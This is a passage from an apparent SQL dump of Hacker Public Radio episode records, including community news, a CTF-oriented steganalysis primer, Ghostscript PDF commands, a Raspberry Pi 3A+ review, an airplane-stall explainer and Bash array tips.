target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3002#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2020-02-18:\n\"Thanks for the series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3003#comments\" target=\"_blank\">hpr3003</a></strong>\n(2020-02-05) \"<em>Hacker Public Radio 2019 2020 New Year Show Episode 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3003#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2020-02-20:\n\"Dark reader\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3008#comments\" target=\"_blank\">hpr3008</a></strong>\n(2020-02-12) \"<em>Hacker Public Radio 2019-20 New Year Show Episode 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\" target=\"_blank\">Kevin Wisher</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3008#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2020-02-26:\n\"These 2 guys should get together more often\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3009#comments\" target=\"_blank\">hpr3009</a></strong>\n(2020-02-13) \"<em>Linux Inlaws S01 E01</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3009#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2020-02-15:\n\"Mailing list Discussion\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3009#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2020-02-15:\n\"Murmer/Mumble\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3009#3\" target=\"_blank\">Comment 3</a>:\nPeter Mortensen on 2020-02-19:\n\"The predecessor?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3009#4\" target=\"_blank\">Comment 4</a>:\nChris on 2020-02-19:\n\"LinuxInlaws\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3013#comments\" target=\"_blank\">hpr3013</a></strong>\n(2020-02-19) \"<em>Bash Tips - 21</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3013#1\" target=\"_blank\">Comment 1</a>:\ncrvs on 2020-02-24:\n\"So that\'s how you use shebangs!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3013#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-02-24:\n\"Writing awk scripts\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3014#comments\" target=\"_blank\">hpr3014</a></strong>\n(2020-02-20) \"<em>A Headless Raspberry Pi Streaming Radio</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3014#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2020-02-20:\n\"Trying this tonight\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3014#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2020-02-20:\n\"Still Streaming with URL Update\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3014#3\" target=\"_blank\">Comment 3</a>:\nb-yeezi on 2020-02-20:\n\"Issue with mpg123\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3014#4\" target=\"_blank\">Comment 4</a>:\nJon Kulp on 2020-02-21:\n\"HTTP not HTTPS\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-February/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">Claudio Miranda</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 16 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2707,'2018-12-18','Steganalysis 101',864,'Steganalysis is the process of identifying the presence of, and decrypting, steganography.','<h3 id=\"introduction\">1. Introduction</h3>\r\n<p>Hello and welcome to Hacker Public Radio, I’m Edward Miro and I’ve been a fan of HPR for a while now and really love its collaborative and random nature. It’s always been important for me to support the hacking community. I always take any opportunity to give back to this community who have given me so much throughout the years. I’ve also always subscribed to the idea that the best way to learn something is by teaching and I hope to do a good job for all you listeners. This talk is on mystical art of steganalysis which is the process of identifying the presence of and decrypting (hopefully) steganography.</p>\r\n<h3 id=\"what-is-steganography\">2. What is steganography?</h3>\r\n<p>I’m into hacking, but I’m not a professional hacker. Usually I call myself a hobbyist. I like CTFs, crypto challenges, lots of stuff from Vulnhub or OverTheWire, things like that. I’ll provide some links in the end if anyone is interested, but for those who aren’t familiar a CTF, or Capture The Flag, it’s a kind of game that helps you get better at hacking. These days there are tons of VMs that are setup to be intentionally vulnerable to different techniques or attacks. You load the VM and pretend it’s a server you want to attack and follow your standard hacking protocols. Some are setup to be boot to root challenges where you ‘win’ when you get root and some are setup with flags that you can find hidden in the target worth points. There are in person and online CTFs and they’ve gotten pretty popular with the National Cyber League being a major competition. Some are easy, some are really hard and most have really good write-ups that can teach you so much about INFOSEC, penetration testing and actually let you practice the techniques in a relatively easy and legal way.</p>\r\n<p>Where steganography comes in to this discussion is that it’s an element you sometimes see used in the kinds of challenges I mentioned previously and also in alternate reality games, online recruitment challenges by national agencies/big tech companies and militarys. They are even used in real world espionage and intelligence work or super spooky secret challenges like Cicada 3301.</p>\r\n<p>Simply put steganography (and I’m pasting this straight out of Wikipedia): “is the practice of concealing a file, message, image, or video within another file, message, image, or video”. Steganography is used to hide secrets in plain sight. It’s a way to send a message, without anyone detecting that a message is even being sent.</p>\r\n<p>I’ll give you more examples in the next section, but imagine a letter that has a secret written in invisible ink. Only the sender and receiver should know about the invisible ink and any eavesdroppers should be none the wiser. This simple example has been used by countless prisoners whose mail is routinely read and examined. Terrorists and spies the world over also use steganography and are known to embed messages in an image and post it online. With how many image hosting sites there are, with millions of people posting to them billions of images day in and day out, you can see why steganography can be such a challenge to combat. Before I move on to some more specific examples I want to stress again that I’m not an expert on cryptography or steganography. While researching for this podcast it’s overwhelmingly clear that you could spend your whole career focused on only steganography. This talk is just a primer on the subject and only the tip of the iceberg.</p>\r\n<h3 id=\"examples-also-from-wikipedia-the-great-repository-of-all-knowledge\">3. Examples (also from Wikipedia, the great repository of all knowledge)</h3>\r\n<ul>\r\n<li>Analog:\r\n<ul>\r\n<li>Head shaving</li>\r\n<li>Invisible ink</li>\r\n<li>Knots tied into ropes</li>\r\n<li>Messages hidden under stamps on envelopes</li>\r\n<li>Mixed typeface</li>\r\n<li>Using a grille cipher</li>\r\n<li>Sending messages via newspaper classifieds</li>\r\n</ul></li>\r\n<li>Digital:\r\n<ul>\r\n<li>Noise in images or sound files</li>\r\n<li>Text commented out in source html or other code</li>\r\n<li>Using different color text</li>\r\n<li>Fractionalized comments</li>\r\n<li>Audio signals/spectro</li>\r\n<li>Hidden control characters and non printing Unicode</li>\r\n</ul></li>\r\n</ul>\r\n<p>The possibilities are almost endless for how this technique can be applied.</p>\r\n<h3 id=\"why-should-we-care\">4. Why should we care?</h3>\r\n<p>When we are doing a CTF or crypto challenge and are presented with an image or media file we are pretty well assured there’s something in there, though not every image you find while doing a challenge or CTF will utilize steganography so don’t overanalyze. I’ve known people who are really into alternate reality games spending 100s of hours doing spectrographic analysis and for our purpose(and the scope of this podcast), there should be some clue that steganography is being used. The challenge then becomes how we direct our work flow as to not waste any time and be the most efficient in cracking that particular part the puzzle. There are MANY stego tools out there, some of them homebrewed, and unless the designer of the challenge puts in a clue, you might spend hours trying different algorithms or tools. And even if you do, there’s no guarantee you’ll get anything at all. A lot of the tools that will be mentioned in the next section rely on fingerprinting how known algorithms process data. This is not only a big problem for hackers like us with our CTFs and games, but even more so for governments who are charged with keeping us safe. So if you’re looking at possible steganography, you need to build a good workflow and I noticed a post on Reddit a few weeks ago with a user asking about image forensics. There was a comment posted that was so good I forwarded it to my hacking friends and it inspired me to do this podcast. I’m using the comment as a potential framework for my own personal work with images and steganography. It helped me to develop my own protocol and I wanted to share it with you all and if anyone wants to expand on it or improve it please do so. Thank you /u/Alexeyan!</p>\r\n<h3 id=\"proposed-work-flow\">5. Proposed work flow</h3>\r\n<p>This is coming straight out of the post on Reddit. I thought about rewriting it, but it didn’t seem necessary and I will be giving the author full credit. I add a couple more tools on at the bottom and a few closing thoughts:</p>\r\n<ul>\r\n<li><p>First: Look at the image. Maybe it tells you something important.</p></li>\r\n<li><p>Use binwalk to check for other file type signatures in the image file.</p></li>\r\n<li><p>Use Exiftool to check for any interesting exif-metadata.</p></li>\r\n<li><p>Use stegsolve and switch through the layers and look for abnormalities.</p></li>\r\n<li><p>Maybe the Flag is painted in the LSB image, or some QR-Code.</p></li>\r\n<li><p>Maybe there are random pixels that look strange in a certain layer, that’s a hint for Bit-Stego.</p></li>\r\n<li><p>Use zsteg to automatically test the most common bitstegos and sort by %ascii-in-results. (This one auto-solves about 50% of all image stego challenges)</p></li>\r\n<li><p>If the file is a png, you can check if the IDAT chunks are all correct and correctly ordered.</p></li>\r\n<li><p>Check with the strings tool for parts of the flag. If you found for example “CTF{W” in a chunk, check what is on that position in other IDAT chunks.</p></li>\r\n<li><p>The harder ones can be a lot more tricky though.. JPG coefficiency manipulation, Frequency analysis, …</p></li>\r\n<li><p>But usually those are frowned upon, because they require a lot of guessing (if no hiding tool is provided)</p></li>\r\n</ul>\r\n<p>Some other go to tools not mentioned above:</p>\r\n<ul>\r\n<li>Stegdetect</li>\r\n<li>DIIT(Digital Invisible Ink Toolkit )</li>\r\n<li>StegSecret</li>\r\n<li>ILook Investigator (for law enforcement)</li>\r\n</ul>\r\n<p>Detecting steganography is hard work. There are computer scientists who do only this. While we aren’t at that level for the information being presented here, it will require a lot of digging and trying different tools. Hopefully following these steps will help identify the more common techniques in an easier way than trial and error.</p>\r\n<p>One last thing I want to mention is that part of how I see detecting steganography in CTFs or cyptochallenges is having a certain mindset and always looking at things in various layers. I try to look at everything within the challenge as if there could be something right in front of my eyes. I mentally flip through different layers and see the codes within the codes. And remember if you’re playing an alternate reality game, a CTF or a crypto challenge, generally speaking, the designers want you to play through the game. They will leave clues if you need them. They want the players to get to the end. Don’t overthink things.</p>\r\n<p>Well that’s all I’ve got for today. I hope you enjoyed this podcast and got something useful out of it. Like I said in the introduction, I’m Edward Miro. Have fun, and good luck!</p>\r\n<h3 id=\"sources\">6. Sources</h3>\r\n<ul>\r\n<li>Steganography basics:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Steganography\" class=\"uri\">https://en.wikipedia.org/wiki/Steganography</a></li>\r\n<li><a href=\"https://www.wired.com/story/steganography-hacker-lexicon/\" class=\"uri\">https://www.wired.com/story/steganography-hacker-lexicon/</a></li>\r\n<li><a href=\"https://null-byte.wonderhowto.com/how-to/steganography-hide-secret-data-inside-image-audio-file-seconds-0180936/\" class=\"uri\">https://null-byte.wonderhowto.com/how-to/steganography-hide-secret-data-inside-image-audio-file-seconds-0180936/</a></li>\r\n</ul></li>\r\n<li>CTFs\r\n<ul>\r\n<li><a href=\"https://www.nationalcyberleague.org/\" class=\"uri\">https://www.nationalcyberleague.org/</a></li>\r\n<li><a href=\"https://www.vulnhub.com/\" class=\"uri\">https://www.vulnhub.com/</a></li>\r\n<li><a href=\"https://ctf365.com/\" class=\"uri\">https://ctf365.com/</a></li>\r\n</ul></li>\r\n<li>Tools\r\n<ul>\r\n<li><a href=\"https://github.com/ReFirmLabs/binwalk\" class=\"uri\">https://github.com/ReFirmLabs/binwalk</a></li>\r\n<li><a href=\"https://www.sno.phy.queensu.ca/~phil/exiftool/\" class=\"uri\">https://www.sno.phy.queensu.ca/~phil/exiftool/</a></li>\r\n<li><a href=\"https://github.com/zardus/ctf-tools/tree/master/stegsolve\" class=\"uri\">https://github.com/zardus/ctf-tools/tree/master/stegsolve</a></li>\r\n<li><a href=\"https://github.com/zed-0xff/zsteg\" class=\"uri\">https://github.com/zed-0xff/zsteg</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Strings_(Unix)\" class=\"uri\">https://en.wikipedia.org/wiki/Strings_(Unix)</a></li>\r\n<li><a href=\"https://github.com/abeluck/stegdetect\" class=\"uri\">https://github.com/abeluck/stegdetect</a></li>\r\n<li><a href=\"https://diit.sourceforge.net/\" class=\"uri\">https://diit.sourceforge.net/</a></li>\r\n<li><a href=\"https://stegsecret.sourceforge.net/\" class=\"uri\">https://stegsecret.sourceforge.net/</a></li>\r\n<li><a href=\"https://www.ilook-forensics.org/\" class=\"uri\">https://www.ilook-forensics.org/</a></li>\r\n</ul></li>\r\n<li>Detection\r\n<ul>\r\n<li><a href=\"https://web.cs.ucdavis.edu/~davidson/Publications/IAAI103.pdf\" class=\"uri\">https://web.cs.ucdavis.edu/~davidson/Publications/IAAI103.pdf</a></li>\r\n<li><a href=\"https://www.sans.org/reading-room/whitepapers/stenganography/steganalysis-detecting-hidden-information-computer-forensic-analysis-1014\" class=\"uri\">https://www.sans.org/reading-room/whitepapers/stenganography/steganalysis-detecting-hidden-information-computer-forensic-analysis-1014</a></li>\r\n</ul></li>\r\n</ul>\r\n',372,0,0,'CC-BY-SA','Steganalysis, steganography',0,0,1),
(2704,'2018-12-13','Intro to Scribus',2380,'Klaatu provides an overview of Scribus in part 1 of a mini-series about steganography','<p>Scribus is a page layout application. If you are familiar with common publishing industry tools, then Scribus will be very familiar to you, but if you\'re used to word processors or graphic applications, then Scribus will probably confuse you. In this episode, Klaatu talks about the workflow of page layout, and how to do some basic tasks in Scribus.\r\n</p>\r\n\r\n<p>The example files Klaatu produces in Scribus are available at <a href=\"https://slackermedia.info/tank/scribus-by-example.tar.gz\" target=\"_blank\">https://slackermedia.info/tank/scribus-by-example.tar.gz</a></p>\r\n\r\n<p>Fair warning: this episode is actually \"about\" steganography. The key you need is <strong>OGG</strong>.</p>',78,74,0,'CC-BY-SA','design, steganography, scribus, layout',0,0,1),
(2706,'2018-12-17','Why I love the IBM AS/400 computer systems',1714,'A short talk about how I came to love the IBM As/400 systems and why.','<p>This is a talk about my love for the IBM family of AS/400 computer systems.</p>\r\n<p>Although it’s a very hacker unfriendly system there is still much to admire and love.</p>\r\n<p>It’s completely different from anything else which makes it nice but also very likely to disappear in few years from now. To prevent that piece of computing history to vanish I started a small initiative called <a href=\"https://www.as400museum.org/\" class=\"uri\">https://www.as400museum.org/</a>. It’s just me, but it does show my intention with the system.</p>\r\n',369,0,1,'CC-BY-SA','as400, ibm, computing, midrange',0,0,1),
(2708,'2018-12-19','Ghostscript',1351,'Klaatu talks about manipulating PDFs with gs and pdf-stapler','<p>\r\nGhostscript is the open source implementation of Postscript. You can read its <a href=\"https://www.ghostscript.com/doc/current/Use.htm\" target=\"_blank\">docs</a> online.\r\n</p>\r\n\r\n<p>\r\nTo compress a big PDF into something possibly smaller:\r\n</p>\r\n\r\n<pre><code>\r\n$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dBATCH -sOutputFile=output.pdf example.pdf\r\n</code></pre>\r\n\r\n<p>\r\nThat renders basically the same PDF with all images down-res\'d to 72 DPI. Other valid setting profiles are <strong>ebook</strong>, <strong>printer</strong>, and <strong>prepress</strong>.\r\n</p>\r\n\r\n<p>\r\nTo render a version of a PDF without any raster images in it, making it cheaper and faster to print:\r\n</p>\r\n\r\n<pre><code>\r\ngs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dBATCH -dFILTERIMAGE -sOutputFile=output.pdf example.pdf\r\n</code></pre>\r\n\r\n<p>\r\nThe FILTERIMAGE option drops raster images from the file. The <strong>FILTERVECTOR</strong> option filters vector images, and <strong>FILTERTEXT</strong> filters text.\r\n</p>\r\n\r\n<p>\r\nIf <a href=\"https://hackerpublicradio.org/eps.php?id=2667\" target=\"_blank\">pdftk</a> is not available for your OS, you can use <a href=\"https://github.com/hellerbarde/stapler\" target=\"_blank\">pdf-stapler</a> instead for cutting and concatenating PDF files. It doesn\'t deal with metadata as well as pdftk does, however.</p><p>It\'s worth noting that pdftk is available as a snap package <a href=\"https://snapcraft.io/pdftk\" target=\"_blank\">https://snapcraft.io/pdftk</a>.\r\n</p>\r\n\r\n<p>\r\nIt\'s also worth noting that this is actually episode 2 in a series about steganography.</p>\r\n\r\n',78,74,0,'CC-BY-SA','pdf, ebook, bloat, print',0,0,1),
(2711,'2018-12-24','Raspberry Pi 3A+ Review',336,'In this episode of HPR, I will do a quick review of the Raspberry Pi 3A+.','<h1 id=\"raspberry-pi-3a-review\">Raspberry Pi 3A+ review</h1>\r\n<p>In this episode of HPR, I will do a quick review of the Raspberry Pi 3A+, the latest release of the Raspberry Pi foundation.</p>\r\n<p><img src=\"https://frenchguy.ch/assets/img_1710_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /> <img src=\"https://frenchguy.ch/assets/img_1711_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /></p>\r\n<p><strong>Specs</strong><br />\r\nThe Raspberry Pi 3A+ has almost the same hardware as its big brother/sister the 3B+ :</p>\r\n<ul>\r\n<li>BCM2837 BO SOC (system on chip), a quad core 64-bit ARM v8 processor, running at 1.4 GHz</li>\r\n<li>On board wireless :\r\n<ul>\r\n<li>WiFi : 2.4 and 5 GHz 802.11 c/y/n/ac</li>\r\n<li>Bluetooth : 4.2 and BLE</li>\r\n</ul></li>\r\n<li>MicroSD card for storing the operating system and the data</li>\r\n<li>Full size HDMI connector</li>\r\n<li>3.5 mm jack connector for audio and composite video output</li>\r\n<li>MicroUSB connector for the power supply</li>\r\n<li>40-pin header with the same pinout as every other Raspberry Pi</li>\r\n</ul>\r\n<p>The differences are :</p>\r\n<ul>\r\n<li>Only one full size USB connector, instead of four on the 3B+</li>\r\n<li>No ethernet connector</li>\r\n<li>Only 512 MB or SDRAM instead of 1 GB on the 3B+</li>\r\n</ul>\r\n<p><strong>Size</strong><br />\r\nThe Raspberry Pi 3A+ is 6.7 x 5.6 cm (2.6 x 2.2 in) and 11 mm high (.45 in). But if you plug a ribbon in the header, then it takes a lot of space.</p>\r\n<p><img src=\"https://frenchguy.ch/assets/img_1713_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /></p>\r\n<p>In this case, it’s probably better to unsolder the header, and solder a right angle header in place, so the pins are pointing to the side of the board and not upwards</p>\r\n<p><img src=\"https://frenchguy.ch/assets/img_1716_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /> <img src=\"https://frenchguy.ch/assets/img_1717_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /></p>\r\n<p>With a bit of caution and the help of some desoldering wick, it’s not a complex operation, because there is no component near the GPIO header.</p>\r\n<p>Of course if you plan on using a HAT, then you’re better off using the straight header. The Raspberry Pi 3A+ is actually the same size than a standard HAT.</p>\r\n<p><img src=\"https://frenchguy.ch/assets/img_1718_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /> <img src=\"https://frenchguy.ch/assets/img_1719_800.jpg\" title=\"Raspberry Pi 3A+\" alt=\"Raspberry Pi 3A+\" /></p>\r\n<p><strong>Use case</strong><br />\r\n</p>\r\n<p>Since the Raspberry Pi 3A+ doesn’t have an ethernet port, I think I will not use it for server stuff like <a href=\"https://mosquitto.org/\">Mosquitto</a> or <a href=\"https://pi-hole.net/\">Pi-Hole</a>, for which a good network connection is required. Also, those servers sometimes need a keyboard and a mouse, and with only one USB port, that’s not too practical.</p>\r\n<p>For me, the A+ will be used to upgrade projects currently using a Raspberry Pi ZeroW, and for which I need a little more power. The on board WiFi and the small form factor, combined with the extra power, makes the 3A+ an ideal replacement for the ZeroW.</p>\r\n<p><strong>Credits</strong><br />\r\n</p>\r\n<p>The sound used for the opening and closing sequence is <a href=\"https://www.jamendo.com/track/1405949/speaker-x-clash-jingle\">Speaker X-Clash</a> by Daniel H, and is released under a CC-BY-NC license.</p>\r\n',370,0,0,'CC-BY-SA','raspberry pi, review',0,0,1),
(2712,'2018-12-25','Steganography',1290,'Klaatu wraps up his miniseries about steganography.','<p>Did you find the hidden message contained in Klaatu\'s previous two episodes?</p>\r\n<p>If not, Klaatu reveals how to find it in this one, how to duplicate it, and what makes good steganography.</p>',78,0,0,'CC-BY-SA','steganography,message,secret decoder ring',0,0,1),
(2714,'2018-12-27','Airplane stalls and Angle of Attack',995,'A primer on why airplanes quit flying','<h1 id=\"stalls-a-primer-on-why-aircraft-fly-and-dont-fly\">stalls, a primer on why aircraft fly, and don’t fly</h1>\r\n<h2 id=\"youtube-video-of-stall-with-narration-35-seconds\">YouTube video of stall with narration (35 seconds)</h2>\r\n<p><a href=\"https://www.youtube.com/watch?v=SiOiVHUEYao\" class=\"uri\">https://www.youtube.com/watch?v=SiOiVHUEYao</a></p>\r\n<h2 id=\"aoa-gauge-from-t-38-manual\">AoA gauge from T-38 manual</h2>\r\n<p><a href=\"https://goo.gl/images/ZH5UYx\" class=\"uri\">https://goo.gl/images/ZH5UYx</a></p>\r\n<h2 id=\"some-definitions\">Some definitions</h2>\r\n<ul>\r\n<li><p>chord - an imaginary line from the front of the wing to the back</p></li>\r\n<li><p>relative wind - movement of air relative to the chord</p></li>\r\n<li><p>angle of attack - the angle of the chord of the wing to the relative wind</p></li>\r\n<li><p>stall - a condition where the air on the top of the wing is not flowing smoothly over the wing</p></li>\r\n<li><p>critical angle of attack - the angle that the wing becomes stalled</p></li>\r\n<li><p>fun - stalling and spinning and aircraft when its safe to do so</p></li>\r\n<li><p>scary - stalling and spinning and aircraft when you don’t want to</p></li>\r\n</ul>\r\n<h2 id=\"things-not-mentioned\">Things not mentioned</h2>\r\n<p>This discussion pertained to subsonic speeds, super sonic flight introduces a whole other realm of issues.</p>\r\n<p>The wings of aircraft do not stall all at once. They are designed (usually) to stall from the wing root (where the wing is attached to the fuselage) towards the tips. This ensures good roll control at slow speed and into the stall. This stalling characteristic is achieved by designing twist in the wing (washout) allowing different parts of the wing to hit the critical angle of attack at different times.</p>\r\n<p>The most dangerous situation that you can find yourself in is a low altitude situation where one wing is stalled more than the other. The airplane then enters a spin. The dangerous part is the low altitude. Spins are fun, and the plane is still controllable, but you need altitude to recover. A wise man told me when turning low to the ground keep your nose down and speed up.</p>\r\n<p>Most light aircraft will shudder or buffet as you approach the critical angle of attack this happens because of the disturbed airflow hitting the aircraft’s fuselage or tail. In larger aircraft no (i.e. airliners) no feel is given naturally as the plane approaches a stalled condition so systems like stick shakers vibrate the control artificially as you approach the critical angle of attack as measured by the AoA sensors. <a href=\"https://goo.gl/images/7xv5A5\">DC-9 stick shaker, a big cell phone vibrator</a> artificial stall warning is mandatory in fly-by-wire aircraft (i.e. Airbus, f-16) as well as pure hydraulic controls (i.e. Boeing 757)</p>\r\n<p>Author: Brian<br />\r\nCreated: 2018-12-01 Sat 07:34<br />\r\nEmacs 25.3.1 (Org mode 8.2.10)</p>\r\n',326,0,0,'CC-BY-SA','aircraft,flight,stall',0,0,1),
(2760,'2019-03-01','What is VNF',445,'A topic from the Open Networking conference in Amsterdam','<p>A short basic info about VNF</p>\r\n<p><a href=\"https://searchsdn.techtarget.com/definition/virtual-network-functions\" class=\"uri\">https://searchsdn.techtarget.com/definition/virtual-network-functions</a></p>',129,61,0,'CC-BY-SA','Virtual network function,VNF,network functions virtualization,NFV',0,0,1),
(2785,'2019-04-05','What is uCPE',399,'A short talk on telco networking standards','<ul>\r\n<li><a href=\"https://blog.advaoptical.com/en/what-is-universal-cpe\" class=\"uri\">https://blog.advaoptical.com/en/what-is-universal-cpe</a></li>\r\n<li><a href=\"https://www.audiocodes.com/solutions-products/solutions/network-function-virtualization-nfv/universal-cpe-ucpe\" class=\"uri\">https://www.audiocodes.com/solutions-products/solutions/network-function-virtualization-nfv/universal-cpe-ucpe</a></li>\r\n<li><a href=\"https://netmanias.com/en/post/blog/12703/sdn-nfv-ucpe/what-is-universal-cpe-updated-at-may-2018\" class=\"uri\">https://netmanias.com/en/post/blog/12703/sdn-nfv-ucpe/what-is-universal-cpe-updated-at-may-2018</a></li>\r\n<li><a href=\"https://www.walkerfirst.com/uploads/files/literature/Skinny_Wire_17S.pdf?as_url_id=AAAAAAWx6lVCrvi0cYObNZzKbTqds3zxZOTme09iW_1bgRwXnxj5xBhDUZFsrEovlR-8QzYp5bjEFX-8gUDCSfEtxk2YBSqlqDxvUktl5hrlcCW3RFsY5EZqzULvKHnRBTv51vleaWM2y0uBOkqJjueTHAIu\" class=\"uri\">https://www.walkerfirst.com/uploads/files/literature/Skinny_Wire_17S.pdf?as_url_id=AAAAAAWx6lVCrvi0cYObNZzKbTqds3zxZOTme09iW_1bgRwXnxj5xBhDUZFsrEovlR-8QzYp5bjEFX-8gUDCSfEtxk2YBSqlqDxvUktl5hrlcCW3RFsY5EZqzULvKHnRBTv51vleaWM2y0uBOkqJjueTHAIu</a></li>\r\n</ul>',129,0,1,'CC-BY-SA','Network Function Virtualization,NFV,Universal customer premises equipment,uCPE',0,0,1),
(2729,'2019-01-17','Bash Tips - 18',1898,'Arrays in Bash (part 3)','<h1 id=\"bash-tips---18\">Bash Tips - 18 <small><small>(Extra auxiliary Bash tips)</small></small></h1>\r\n<h2 id=\"arrays-in-bash\">Arrays in Bash</h2>\r\n<p>This is the third of a small group of shows on the subject of arrays in Bash. It is also the eighteenth show in the <em>Bash Tips</em> sub-series.</p>\r\n<p>In the last show we looked at ways of accessing elements with negative indices and how to concatenate arrays. We then launched into parameter expansion in the context of arrays.</p>\r\n<p>There are a few more parameter expansion operations to look at in this episode, then in the next episode we will look in more depth at the <code>declare</code> built in command and at some of the commands that assist with loading data into arrays.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2729/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Arrays\">“Bash Arrays”</a></li>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Shell-Parameter-Expansion\">“Shell Parameter Expansion”</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Linux Documentation Project: <a href=\"https://www.tldp.org/LDP/abs/html/index.html\">Advanced Bash-Scripting Guide</a>\r\n<ul>\r\n<li><a href=\"https://www.tldp.org/LDP/abs/html/arrays.html\">Chapter 27: Arrays</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 